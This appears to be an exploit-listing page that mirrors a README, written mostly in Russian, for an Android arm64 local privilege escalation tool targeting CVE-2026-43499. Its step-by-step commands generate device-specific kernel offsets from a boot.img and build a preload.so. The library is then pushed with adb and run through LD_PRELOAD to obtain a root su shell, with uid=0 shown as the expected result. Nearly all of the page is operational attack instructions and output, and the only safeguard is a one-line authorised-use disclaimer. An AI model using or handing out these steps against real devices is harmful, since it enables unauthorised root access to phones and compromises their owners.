## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZYCHEN027-CVE-2026-43499_HW-CLT-AL01
# CVE-2026-43499 Android arm64 адаптация локального повышения привилегий
Английский | Китайский
* * *
Это проект адаптации локального повышения привилегий для Android arm64 через **CVE-2026-43499**.
Проект генерирует `target.h` на основе `boot.img` целевого устройства и информации profile, затем компилирует соответствующий `preload.so`.
> Примечание: этот проект является универсальным адаптационным каркасом и не привязан к конкретной модели. Фактическая работоспособность определяется тем, сможет ли `generate_target.py` успешно сгенерировать `target.h`, а также результатами тестирования на реальном устройстве.
* * *
## Структура каталога
root@kitploit:~
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
* * *
## Необходимые зависимости
### Базовые зависимости
root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
### Рекомендуемое окружение для Windows
Для Windows рекомендуется использовать:
root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Установка make в MSYS2:
root@kitploit:~
pacman -S make coreutils
* * *
## Подготовка файлов
Вам потребуется:
root@kitploit:~
boot.img
profile.json
Пример profile:
root@kitploit:~
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Эти два адреса в profile:
root@kitploit:~
p0_phys_offset
p0_kernel_phys_load
Можно получить, запустив скрипт на устройстве с Root и той же прошивкой, что и целевой boot.img:
root@kitploit:~
python3 detect_offset.py
На Windows также можно:
root@kitploit:~
python detect_offset.py
* * *
## Порядок использования
### 1\. Перейдите в каталог проекта
Linux / macOS:
root@kitploit:~
cd PATH/project
Пример для Windows MSYS2:
root@kitploit:~
cd PATH/CVE-2026-43499-Poc-Analysis-main
* * *
### 2\. Задайте путь к NDK
Пример для Linux / macOS:
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk
Пример для Windows MSYS2:
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
* * *
### 3\. Генерация target.h
root@kitploit:~
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
Или через CMD:
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
Если появляется сообщение, что `llvm-objdump` не найден, укажите путь вручную:
root@kitploit:~
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Или через CMD:
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
После успешного выполнения вы увидите что-то вроде:
root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
* * *
### 4\. Сборка preload.so
Linux / macOS:
root@kitploit:~
make -C source clean preload
Windows MSYS2:
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64
После успешной сборки будет создан:
root@kitploit:~
source/build/bin/preload.so
* * *
### 5\. Отправьте на устройство и запустите
root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
Проверка:
root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"
При успехе обычно вы увидите:
root@kitploit:~
uid=0(root) gid=0(root)
* * *
## Одношаговый процесс в Windows MSYS2
На примере вашего пути:
root@kitploit:~
cd PATH/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64
Итоговый файл:
root@kitploit:~
source/build/bin/preload.so
* * *
## Частые вопросы
### Не найден llvm-objdump
Установите LLVM или используйте:
root@kitploit:~
--llvm-objdump "PATH/llvm-objdump"
* * *
### Не найден make
В Windows установите через MSYS2:
root@kitploit:~
pacman -S make coreutils
* * *
### Не найден clang
Обычно это означает, что путь к NDK настроен неправильно.
Пример для Windows MSYS2:
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
* * *
### Ошибка генерации target.h
Обычно это означает, что текущий `boot.img` или раскладка ядра ещё не адаптированы.
Обратите особое внимание на:
root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
* * *
## Примечание
* После смены устройства, системы или ядра необходимо заново сгенерировать `target.h`.
* `target.h` не рекомендуется редактировать вручную — он должен автоматически генерироваться скриптом `generate_target.py`.
* Используйте только на устройствах и в средах, где у вас есть разрешение.